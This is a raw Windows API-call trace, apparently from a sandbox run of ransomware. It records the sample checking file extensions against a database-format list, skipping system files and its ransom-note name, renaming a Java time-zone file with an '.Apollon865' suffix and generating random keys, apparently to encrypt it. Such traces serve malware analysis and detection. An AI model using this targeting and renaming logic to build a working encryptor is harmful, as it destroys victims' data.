	[0055.082] lstrlenW (lpString="db-shm") returned 6
	[0055.082] lstrcmpiW (lpString1="Branco", lpString2="db-shm") returned -1
	[0055.082] lstrlenW (lpString="db-wal") returned 6
	[0055.082] lstrcmpiW (lpString1="Branco", lpString2="db-wal") returned -1
	[0055.082] lstrlenW (lpString="dbc") returned 3
	[0055.082] lstrcmpiW (lpString1="nco", lpString2="dbc") returned 1
	[0055.082] lstrlenW (lpString="dbs") returned 3
	[0055.082] lstrcmpiW (lpString1="nco", lpString2="dbs") returned 1
	[0055.082] lstrlenW (lpString="dbt") returned 3
	[0055.082] lstrcmpiW (lpString1="nco", lpString2="dbt") returned 1
	[0055.082] lstrlenW (lpString="dbv") returned 3
	[0055.082] lstrcmpiW (lpString1="nco", lpString2="dbv") returned 1
	[0055.082] lstrlenW (lpString="dbx") returned 3
	[0055.082] lstrcmpiW (lpString1="nco", lpString2="dbx") returned 1
	[0055.082] lstrlenW (lpString="dcb") returned 3
	[0055.082] lstrcmpiW (lpString1="nco", lpString2="dcb") returned 1
	[0055.082] lstrlenW (lpString="dct") returned 3
	[0055.082] lstrcmpiW (lpString1="nco", lpString2="dct") returned 1
	[0055.082] lstrlenW (lpString="dcx") returned 3
	[0055.082] lstrcmpiW (lpString1="nco", lpString2="dcx") returned 1
	[0055.082] lstrlenW (lpString="ddl") returned 3
	[0055.082] lstrcmpiW (lpString1="nco", lpString2="ddl") returned 1
	[0055.082] lstrlenW (lpString="dlis") returned 4
	[0055.082] lstrcmpiW (lpString1="anco", lpString2="dlis") returned -1
	[0055.082] lstrlenW (lpString="dp1") returned 3
	[0055.082] lstrcmpiW (lpString1="nco", lpString2="dp1") returned 1
	[0055.083] lstrlenW (lpString="dqy") returned 3
	[0055.083] lstrcmpiW (lpString1="nco", lpString2="dqy") returned 1
	[0055.083] lstrlenW (lpString="dsk") returned 3
	[0055.083] lstrcmpiW (lpString1="nco", lpString2="dsk") returned 1
	[0055.083] lstrlenW (lpString="dsn") returned 3
	[0055.083] lstrcmpiW (lpString1="nco", lpString2="dsn") returned 1
	[0055.083] lstrlenW (lpString="dtsx") returned 4
	[0055.083] lstrcmpiW (lpString1="anco", lpString2="dtsx") returned -1
	[0055.083] lstrlenW (lpString="dxl") returned 3
	[0055.083] lstrcmpiW (lpString1="nco", lpString2="dxl") returned 1
	[0055.083] lstrlenW (lpString="eco") returned 3
	[0055.083] lstrcmpiW (lpString1="nco", lpString2="eco") returned 1
	[0055.083] lstrlenW (lpString="ecx") returned 3
	[0055.083] lstrcmpiW (lpString1="nco", lpString2="ecx") returned 1
	[0055.083] lstrlenW (lpString="edb") returned 3
	[0055.083] lstrcmpiW (lpString1="nco", lpString2="edb") returned 1
	[0055.083] lstrlenW (lpString="epim") returned 4
	[0055.083] lstrcmpiW (lpString1="anco", lpString2="epim") returned -1
	[0055.083] lstrlenW (lpString="fcd") returned 3
	[0055.083] lstrcmpiW (lpString1="nco", lpString2="fcd") returned 1
	[0055.083] lstrlenW (lpString="fdb") returned 3
	[0055.083] lstrcmpiW (lpString1="nco", lpString2="fdb") returned 1
	[0055.083] lstrlenW (lpString="fic") returned 3
	[0055.083] lstrcmpiW (lpString1="nco", lpString2="fic") returned 1
	[0055.083] lstrlenW (lpString="flexolibrary") returned 12
	[0055.083] lstrlenW (lpString="fm5") returned 3
	[0055.083] lstrcmpiW (lpString1="nco", lpString2="fm5") returned 1
	[0055.083] lstrlenW (lpString="fmp") returned 3
	[0055.083] lstrcmpiW (lpString1="nco", lpString2="fmp") returned 1
	[0055.083] lstrlenW (lpString="fmp12") returned 5
	[0055.083] lstrcmpiW (lpString1="ranco", lpString2="fmp12") returned 1
	[0055.083] lstrlenW (lpString="fmpsl") returned 5
	[0055.083] lstrcmpiW (lpString1="ranco", lpString2="fmpsl") returned 1
	[0055.084] lstrlenW (lpString="fol") returned 3
	[0055.084] lstrcmpiW (lpString1="nco", lpString2="fol") returned 1
	[0055.084] lstrlenW (lpString="fp3") returned 3
	[0055.084] lstrcmpiW (lpString1="nco", lpString2="fp3") returned 1
	[0055.084] lstrlenW (lpString="fp4") returned 3
	[0055.084] lstrcmpiW (lpString1="nco", lpString2="fp4") returned 1
	[0055.084] lstrlenW (lpString="fp5") returned 3
	[0055.084] lstrcmpiW (lpString1="nco", lpString2="fp5") returned 1
	[0055.084] lstrlenW (lpString="fp7") returned 3
	[0055.084] lstrcmpiW (lpString1="nco", lpString2="fp7") returned 1
	[0055.084] lstrlenW (lpString="fpt") returned 3
	[0055.084] lstrcmpiW (lpString1="nco", lpString2="fpt") returned 1
	[0055.084] lstrlenW (lpString="frm") returned 3
	[0055.084] lstrcmpiW (lpString1="nco", lpString2="frm") returned 1
	[0055.084] lstrlenW (lpString="gdb") returned 3
	[0055.084] lstrcmpiW (lpString1="nco", lpString2="gdb") returned 1
	[0055.084] lstrlenW (lpString="gdb") returned 3
	[0055.084] lstrcmpiW (lpString1="nco", lpString2="gdb") returned 1
	[0055.084] lstrlenW (lpString="grdb") returned 4
	[0055.084] lstrcmpiW (lpString1="anco", lpString2="grdb") returned -1
	[0055.084] lstrlenW (lpString="gwi") returned 3
	[0055.084] lstrcmpiW (lpString1="nco", lpString2="gwi") returned 1
	[0055.084] lstrlenW (lpString="hdb") returned 3
	[0055.084] lstrcmpiW (lpString1="nco", lpString2="hdb") returned 1
	[0055.084] lstrlenW (lpString="his") returned 3
	[0055.085] lstrcmpiW (lpString1="nco", lpString2="his") returned 1
	[0055.085] lstrlenW (lpString="ib") returned 2
	[0055.085] lstrcmpiW (lpString1="co", lpString2="ib") returned -1
	[0055.085] lstrlenW (lpString="idb") returned 3
	[0055.085] lstrcmpiW (lpString1="nco", lpString2="idb") returned 1
	[0055.085] lstrlenW (lpString="ihx") returned 3
	[0055.085] lstrcmpiW (lpString1="nco", lpString2="ihx") returned 1
	[0055.085] lstrlenW (lpString="itdb") returned 4
	[0055.085] lstrcmpiW (lpString1="anco", lpString2="itdb") returned -1
	[0055.085] lstrlenW (lpString="itw") returned 3
	[0055.085] lstrcmpiW (lpString1="nco", lpString2="itw") returned 1
	[0055.085] lstrlenW (lpString="jet") returned 3
	[0055.085] lstrcmpiW (lpString1="nco", lpString2="jet") returned 1
	[0055.085] lstrlenW (lpString="jtx") returned 3
	[0055.085] lstrcmpiW (lpString1="nco", lpString2="jtx") returned 1
	[0055.085] lstrlenW (lpString="kdb") returned 3
	[0055.085] lstrcmpiW (lpString1="nco", lpString2="kdb") returned 1
	[0055.085] lstrlenW (lpString="kexi") returned 4
	[0055.085] lstrcmpiW (lpString1="anco", lpString2="kexi") returned -1
	[0055.085] lstrlenW (lpString="kexic") returned 5
	[0055.085] lstrcmpiW (lpString1="ranco", lpString2="kexic") returned 1
	[0055.085] lstrlenW (lpString="kexis") returned 5
	[0055.085] lstrcmpiW (lpString1="ranco", lpString2="kexis") returned 1
	[0055.085] lstrlenW (lpString="lgc") returned 3
	[0055.085] lstrcmpiW (lpString1="nco", lpString2="lgc") returned 1
	[0055.085] lstrlenW (lpString="lwx") returned 3
	[0055.085] lstrcmpiW (lpString1="nco", lpString2="lwx") returned 1
	[0055.085] lstrlenW (lpString="maf") returned 3
	[0055.085] lstrcmpiW (lpString1="nco", lpString2="maf") returned 1
	[0055.085] lstrlenW (lpString="maq") returned 3
	[0055.085] lstrcmpiW (lpString1="nco", lpString2="maq") returned 1
	[0055.085] lstrlenW (lpString="mar") returned 3
	[0055.085] lstrcmpiW (lpString1="nco", lpString2="mar") returned 1
	[0055.086] lstrlenW (lpString="marshal") returned 7
	[0055.086] lstrcmpiW (lpString1="_Branco", lpString2="marshal") returned -1
	[0055.086] lstrlenW (lpString="mas") returned 3
	[0055.086] lstrcmpiW (lpString1="nco", lpString2="mas") returned 1
	[0055.086] lstrlenW (lpString="mav") returned 3
	[0055.086] lstrcmpiW (lpString1="nco", lpString2="mav") returned 1
	[0055.086] lstrlenW (lpString="maw") returned 3
	[0055.086] lstrcmpiW (lpString1="nco", lpString2="maw") returned 1
	[0055.086] lstrlenW (lpString="mdbhtml") returned 7
	[0055.086] lstrcmpiW (lpString1="_Branco", lpString2="mdbhtml") returned -1
	[0055.086] lstrlenW (lpString="mdn") returned 3
	[0055.086] lstrcmpiW (lpString1="nco", lpString2="mdn") returned 1
	[0055.086] lstrlenW (lpString="mdt") returned 3
	[0055.086] lstrcmpiW (lpString1="nco", lpString2="mdt") returned 1
	[0055.086] lstrlenW (lpString="mfd") returned 3
	[0055.086] lstrcmpiW (lpString1="nco", lpString2="mfd") returned 1
	[0055.086] lstrlenW (lpString="mpd") returned 3
	[0055.086] lstrcmpiW (lpString1="nco", lpString2="mpd") returned 1
	[0055.086] lstrlenW (lpString="mrg") returned 3
	[0055.086] lstrcmpiW (lpString1="nco", lpString2="mrg") returned 1
	[0055.086] lstrlenW (lpString="mud") returned 3
	[0055.086] lstrcmpiW (lpString1="nco", lpString2="mud") returned 1
	[0055.086] lstrlenW (lpString="mwb") returned 3
	[0055.086] lstrcmpiW (lpString1="nco", lpString2="mwb") returned 1
	[0055.086] lstrlenW (lpString="myd") returned 3
	[0055.086] lstrcmpiW (lpString1="nco", lpString2="myd") returned 1
	[0055.086] lstrlenW (lpString="ndf") returned 3
	[0055.086] lstrcmpiW (lpString1="nco", lpString2="ndf") returned -1
	[0055.086] lstrlenW (lpString="nnt") returned 3
	[0055.086] lstrcmpiW (lpString1="nco", lpString2="nnt") returned -1
	[0055.086] lstrlenW (lpString="nrmlib") returned 6
	[0055.086] lstrcmpiW (lpString1="Branco", lpString2="nrmlib") returned -1
	[0055.086] lstrlenW (lpString="ns2") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="ns2") returned -1
	[0055.087] lstrlenW (lpString="ns3") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="ns3") returned -1
	[0055.087] lstrlenW (lpString="ns4") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="ns4") returned -1
	[0055.087] lstrlenW (lpString="nsf") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="nsf") returned -1
	[0055.087] lstrlenW (lpString="nv") returned 2
	[0055.087] lstrcmpiW (lpString1="co", lpString2="nv") returned -1
	[0055.087] lstrlenW (lpString="nv2") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="nv2") returned -1
	[0055.087] lstrlenW (lpString="nwdb") returned 4
	[0055.087] lstrcmpiW (lpString1="anco", lpString2="nwdb") returned -1
	[0055.087] lstrlenW (lpString="nyf") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="nyf") returned -1
	[0055.087] lstrlenW (lpString="odb") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="odb") returned -1
	[0055.087] lstrlenW (lpString="odb") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="odb") returned -1
	[0055.087] lstrlenW (lpString="oqy") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="oqy") returned -1
	[0055.087] lstrlenW (lpString="ora") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="ora") returned -1
	[0055.087] lstrlenW (lpString="orx") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="orx") returned -1
	[0055.087] lstrlenW (lpString="owc") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="owc") returned -1
	[0055.087] lstrlenW (lpString="p96") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="p96") returned -1
	[0055.087] lstrlenW (lpString="p97") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="p97") returned -1
	[0055.087] lstrlenW (lpString="pan") returned 3
	[0055.087] lstrcmpiW (lpString1="nco", lpString2="pan") returned -1
	[0055.088] lstrlenW (lpString="pdb") returned 3
	[0055.088] lstrcmpiW (lpString1="nco", lpString2="pdb") returned -1
	[0055.088] lstrlenW (lpString="pdm") returned 3
	[0055.088] lstrcmpiW (lpString1="nco", lpString2="pdm") returned -1
	[0055.088] lstrlenW (lpString="pnz") returned 3
	[0055.088] lstrcmpiW (lpString1="nco", lpString2="pnz") returned -1
	[0055.088] lstrlenW (lpString="qry") returned 3
	[0055.088] lstrcmpiW (lpString1="nco", lpString2="qry") returned -1
	[0055.088] lstrlenW (lpString="qvd") returned 3
	[0055.088] lstrcmpiW (lpString1="nco", lpString2="qvd") returned -1
	[0055.088] lstrlenW (lpString="rbf") returned 3
	[0055.088] lstrcmpiW (lpString1="nco", lpString2="rbf") returned -1
	[0055.088] lstrlenW (lpString="rctd") returned 4
	[0055.088] lstrcmpiW (lpString1="anco", lpString2="rctd") returned -1
	[0055.088] lstrlenW (lpString="rod") returned 3
	[0055.088] lstrcmpiW (lpString1="nco", lpString2="rod") returned -1
	[0055.088] lstrlenW (lpString="rodx") returned 4
	[0055.088] lstrcmpiW (lpString1="anco", lpString2="rodx") returned -1
	[0055.088] lstrlenW (lpString="rpd") returned 3
	[0055.088] lstrcmpiW (lpString1="nco", lpString2="rpd") returned -1
	[0055.088] lstrlenW (lpString="rsd") returned 3
	[0055.088] lstrcmpiW (lpString1="nco", lpString2="rsd") returned -1
	[0055.088] lstrlenW (lpString="sas7bdat") returned 8
	[0055.088] lstrcmpiW (lpString1="o_Branco", lpString2="sas7bdat") returned -1
	[0055.088] lstrlenW (lpString="sbf") returned 3
	[0055.088] lstrcmpiW (lpString1="nco", lpString2="sbf") returned -1
	[0055.088] lstrlenW (lpString="scx") returned 3
	[0055.088] lstrcmpiW (lpString1="nco", lpString2="scx") returned -1
	[0055.088] lstrlenW (lpString="sdb") returned 3
	[0055.088] lstrcmpiW (lpString1="nco", lpString2="sdb") returned -1
	[0055.088] lstrlenW (lpString="sdc") returned 3
	[0055.088] lstrcmpiW (lpString1="nco", lpString2="sdc") returned -1
	[0055.088] lstrlenW (lpString="sdf") returned 3
	[0055.088] lstrcmpiW (lpString1="nco", lpString2="sdf") returned -1
	[0055.089] lstrlenW (lpString="sis") returned 3
	[0055.089] lstrcmpiW (lpString1="nco", lpString2="sis") returned -1
	[0055.089] lstrlenW (lpString="spq") returned 3
	[0055.089] lstrcmpiW (lpString1="nco", lpString2="spq") returned -1
	[0055.089] lstrlenW (lpString="te") returned 2
	[0055.089] lstrcmpiW (lpString1="co", lpString2="te") returned -1
	[0055.089] lstrlenW (lpString="teacher") returned 7
	[0055.089] lstrcmpiW (lpString1="_Branco", lpString2="teacher") returned -1
	[0055.089] lstrlenW (lpString="tmd") returned 3
	[0055.089] lstrcmpiW (lpString1="nco", lpString2="tmd") returned -1
	[0055.089] lstrlenW (lpString="tps") returned 3
	[0055.089] lstrcmpiW (lpString1="nco", lpString2="tps") returned -1
	[0055.089] lstrlenW (lpString="trc") returned 3
	[0055.089] lstrcmpiW (lpString1="nco", lpString2="trc") returned -1
	[0055.089] lstrlenW (lpString="trc") returned 3
	[0055.089] lstrcmpiW (lpString1="nco", lpString2="trc") returned -1
	[0055.089] lstrlenW (lpString="trm") returned 3
	[0055.089] lstrcmpiW (lpString1="nco", lpString2="trm") returned -1
	[0055.089] lstrlenW (lpString="udb") returned 3
	[0055.089] lstrcmpiW (lpString1="nco", lpString2="udb") returned -1
	[0055.089] lstrlenW (lpString="udl") returned 3
	[0055.089] lstrcmpiW (lpString1="nco", lpString2="udl") returned -1
	[0055.089] lstrlenW (lpString="usr") returned 3
	[0055.089] lstrcmpiW (lpString1="nco", lpString2="usr") returned -1
	[0055.089] lstrlenW (lpString="v12") returned 3
	[0055.089] lstrcmpiW (lpString1="nco", lpString2="v12") returned -1
	[0055.089] lstrlenW (lpString="vis") returned 3
	[0055.089] lstrcmpiW (lpString1="nco", lpString2="vis") returned -1
	[0055.089] lstrlenW (lpString="vpd") returned 3
	[0055.089] lstrcmpiW (lpString1="nco", lpString2="vpd") returned -1
	[0055.089] lstrlenW (lpString="vvv") returned 3
	[0055.089] lstrcmpiW (lpString1="nco", lpString2="vvv") returned -1
	[0055.090] lstrlenW (lpString="wdb") returned 3
	[0055.090] lstrcmpiW (lpString1="nco", lpString2="wdb") returned -1
	[0055.090] lstrlenW (lpString="wmdb") returned 4
	[0055.090] lstrcmpiW (lpString1="anco", lpString2="wmdb") returned -1
	[0055.090] lstrlenW (lpString="wrk") returned 3
	[0055.090] lstrcmpiW (lpString1="nco", lpString2="wrk") returned -1
	[0055.090] lstrlenW (lpString="xdb") returned 3
	[0055.090] lstrcmpiW (lpString1="nco", lpString2="xdb") returned -1
	[0055.090] lstrlenW (lpString="xld") returned 3
	[0055.090] lstrcmpiW (lpString1="nco", lpString2="xld") returned -1
	[0055.090] lstrlenW (lpString="xmlff") returned 5
	[0055.090] lstrcmpiW (lpString1="ranco", lpString2="xmlff") returned -1
	[0055.090] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x131, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Santarem", cAlternateFileName="")) returned 1
	[0055.090] lstrcmpiW (lpString1="Santarem", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.090] lstrcmpiW (lpString1="Santarem", lpString2="Apollon865.txt.exe") returned 1
	[0055.090] lstrcmpiW (lpString1="Santarem", lpString2=".") returned 1
	[0055.090] lstrcmpiW (lpString1="Santarem", lpString2="..") returned 1
	[0055.090] lstrcmpiW (lpString1="Santarem", lpString2="windows") returned -1
	[0055.090] lstrcmpiW (lpString1="Santarem", lpString2="bootmgr") returned 1
	[0055.090] lstrcmpiW (lpString1="Santarem", lpString2="temp") returned -1
	[0055.090] lstrcmpiW (lpString1="Santarem", lpString2="pagefile.sys") returned 1
	[0055.090] lstrcmpiW (lpString1="Santarem", lpString2="boot") returned 1
	[0055.090] lstrcmpiW (lpString1="Santarem", lpString2="ids.txt") returned 1
	[0055.090] lstrcmpiW (lpString1="Santarem", lpString2="ntuser.dat") returned 1
	[0055.090] lstrcmpiW (lpString1="Santarem", lpString2="perflogs") returned 1
	[0055.090] lstrcmpiW (lpString1="Santarem", lpString2="MSBuild") returned 1
	[0055.090] lstrlenW (lpString="Santarem") returned 8
	[0055.090] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Rio_Branco") returned 58
	[0055.090] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Santarem" | out: lpString1="Santarem") returned="Santarem"
	[0055.090] lstrlenW (lpString="Santarem") returned 8
	[0055.090] lstrlenW (lpString="Apollon865") returned 10
	[0055.090] lstrlenW (lpString=".dll") returned 4
	[0055.091] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Santa_Isabel" | out: lpString1="Santa_Isabel") returned="Santa_Isabel"
	[0055.091] lstrlenW (lpString="Santa_Isabel") returned 12
	[0055.091] lstrlenW (lpString="Apollon865") returned 10
	[0055.091] lstrcmpiW (lpString1="nta_Isabel", lpString2="Apollon865") returned 1
	[0055.091] lstrlenW (lpString=".dll") returned 4
	[0055.091] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Santiago" | out: lpString1="Santiago") returned="Santiago"
	[0055.091] lstrlenW (lpString="Santiago") returned 8
	[0055.091] lstrlenW (lpString="Apollon865") returned 10
	[0055.091] lstrlenW (lpString=".dll") returned 4
	[0055.091] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Santo_Domingo" | out: lpString1="Santo_Domingo") returned="Santo_Domingo"
	[0055.091] lstrlenW (lpString="Santo_Domingo") returned 13
	[0055.091] lstrlenW (lpString="Apollon865") returned 10
	[0055.091] lstrcmpiW (lpString1="to_Domingo", lpString2="Apollon865") returned 1
	[0055.091] lstrlenW (lpString=".dll") returned 4
	[0055.091] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Sao_Paulo" | out: lpString1="Sao_Paulo") returned="Sao_Paulo"
	[0055.091] lstrlenW (lpString="Sao_Paulo") returned 9
	[0055.091] lstrlenW (lpString="Apollon865") returned 10
	[0055.091] lstrlenW (lpString=".dll") returned 4
	[0055.091] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Scoresbysund" | out: lpString1="Scoresbysund") returned="Scoresbysund"
	[0055.091] lstrlenW (lpString="Scoresbysund") returned 12
	[0055.091] lstrlenW (lpString="Apollon865") returned 10
	[0055.091] lstrcmpiW (lpString1="oresbysund", lpString2="Apollon865") returned 1
	[0055.091] lstrlenW (lpString=".dll") returned 4
	[0055.091] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Sitka" | out: lpString1="Sitka") returned="Sitka"
	[0055.092] lstrlenW (lpString="Sitka") returned 5
	[0055.092] lstrlenW (lpString="Apollon865") returned 10
	[0055.092] lstrlenW (lpString=".dll") returned 4
	[0055.092] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="St_Johns" | out: lpString1="St_Johns") returned="St_Johns"
	[0055.092] lstrlenW (lpString="St_Johns") returned 8
	[0055.092] lstrlenW (lpString="Apollon865") returned 10
	[0055.092] lstrlenW (lpString=".dll") returned 4
	[0055.092] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="St_Kitts" | out: lpString1="St_Kitts") returned="St_Kitts"
	[0055.092] lstrlenW (lpString="St_Kitts") returned 8
	[0055.092] lstrlenW (lpString="Apollon865") returned 10
	[0055.092] lstrlenW (lpString=".dll") returned 4
	[0055.092] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="St_Lucia" | out: lpString1="St_Lucia") returned="St_Lucia"
	[0055.092] lstrlenW (lpString="St_Lucia") returned 8
	[0055.092] lstrlenW (lpString="Apollon865") returned 10
	[0055.092] lstrlenW (lpString=".dll") returned 4
	[0055.092] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="St_Thomas" | out: lpString1="St_Thomas") returned="St_Thomas"
	[0055.092] lstrlenW (lpString="St_Thomas") returned 9
	[0055.092] lstrlenW (lpString="Apollon865") returned 10
	[0055.092] lstrlenW (lpString=".dll") returned 4
	[0055.092] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Thomas.Apollon865") returned 68
	[0055.092] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Thomas" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\st_thomas"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Thomas.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\st_thomas.apollon865"), dwFlags=0x1) returned 1
	[0055.093] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Thomas.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\st_thomas.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0055.093] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=65) returned 1
	[0055.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0055.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0055.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0055.094] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0055.095] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0055.095] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0055.095] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x15c
	[0055.098] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x120000
	[0055.098] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0055.099] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0055.099] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0055.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0055.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0055.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0055.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0055.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0055.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0055.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0055.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0055.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0055.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0055.100] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0055.100] CloseHandle (hObject=0x15c) returned 1
	[0055.100] CloseHandle (hObject=0x154) returned 1
	[0055.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0055.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0055.100] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0055.100] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="St_Vincent", cAlternateFileName="ST_VIN~1")) returned 1
	[0055.100] lstrcmpiW (lpString1="St_Vincent", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.100] lstrcmpiW (lpString1="St_Vincent", lpString2="Apollon865.txt.exe") returned 1
	[0055.100] lstrcmpiW (lpString1="St_Vincent", lpString2=".") returned 1
	[0055.100] lstrcmpiW (lpString1="St_Vincent", lpString2="..") returned 1
	[0055.100] lstrcmpiW (lpString1="St_Vincent", lpString2="windows") returned -1
	[0055.100] lstrcmpiW (lpString1="St_Vincent", lpString2="bootmgr") returned 1
	[0055.100] lstrcmpiW (lpString1="St_Vincent", lpString2="temp") returned -1
	[0055.100] lstrcmpiW (lpString1="St_Vincent", lpString2="pagefile.sys") returned 1
	[0055.100] lstrcmpiW (lpString1="St_Vincent", lpString2="boot") returned 1
	[0055.100] lstrcmpiW (lpString1="St_Vincent", lpString2="ids.txt") returned 1
	[0055.101] lstrcmpiW (lpString1="St_Vincent", lpString2="ntuser.dat") returned 1
	[0055.101] lstrcmpiW (lpString1="St_Vincent", lpString2="perflogs") returned 1
	[0055.101] lstrcmpiW (lpString1="St_Vincent", lpString2="MSBuild") returned 1
	[0055.101] lstrlenW (lpString="St_Vincent") returned 10
	[0055.101] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Thomas") returned 57
	[0055.101] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="St_Vincent" | out: lpString1="St_Vincent") returned="St_Vincent"
	[0055.101] lstrlenW (lpString="St_Vincent") returned 10
	[0055.101] lstrlenW (lpString="Apollon865") returned 10
	[0055.101] lstrlenW (lpString=".dll") returned 4
	[0055.101] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Swift_Current" | out: lpString1="Swift_Current") returned="Swift_Current"
	[0055.101] lstrlenW (lpString="Swift_Current") returned 13
	[0055.101] lstrlenW (lpString="Apollon865") returned 10
	[0055.101] lstrcmpiW (lpString1="ft_Current", lpString2="Apollon865") returned 1
	[0055.101] lstrlenW (lpString=".dll") returned 4
	[0055.101] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Tegucigalpa" | out: lpString1="Tegucigalpa") returned="Tegucigalpa"
